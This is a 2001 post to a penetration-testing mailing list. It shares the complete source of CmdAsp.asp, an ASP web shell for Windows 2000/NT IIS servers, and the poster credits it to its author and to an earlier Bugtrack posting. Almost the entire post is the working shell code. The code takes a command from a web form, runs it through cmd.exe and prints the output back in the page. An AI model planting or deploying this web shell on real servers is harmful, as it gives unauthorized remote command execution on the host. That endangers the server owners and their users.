Penetration Testing: Re: [PEN-TEST] Expand right under Win2K

From: Julian Linton <jlinton_at_CIS.FAMU.EDU>
Date: Tue, 9 Jan 2001 20:17:19 -0500

here you can use this asp file to open a cmd.exe shell with administrative
privilege. was posted on bugtraq last month.

<++ CmdAsp.asp ++>
<%@ Language=VBScript %>
<%
  ' --------------------o0o--------------------
  ' File: CmdAsp.asp
  ' Author: Maceo <maceo @ dogmile.com>
  ' Release: 2000-12-01
  ' OS: Windows 2000, 4.0 NT
  ' -------------------------------------------

  Dim oScript
  Dim oScriptNet
  Dim oFileSys, oFile
  Dim szCMD, szTempFile

On Error Resume Next

  ' -- create the COM objects that we will be using -- '
  Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

  ' -- check for a command that we have posted -- '
  szCMD = Request.Form(".CMD")
  If (szCMD <> "") Then

    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = "C:\" & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
  If (IsObject(oFile)) Then
    ' -- Read the output from our command and remove the temp file -- '
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
  End If
%>
</BODY>
</HTML>
<-- CmdAsp.asp -->

credit to -Maceo the author
Received on Jan 10 2001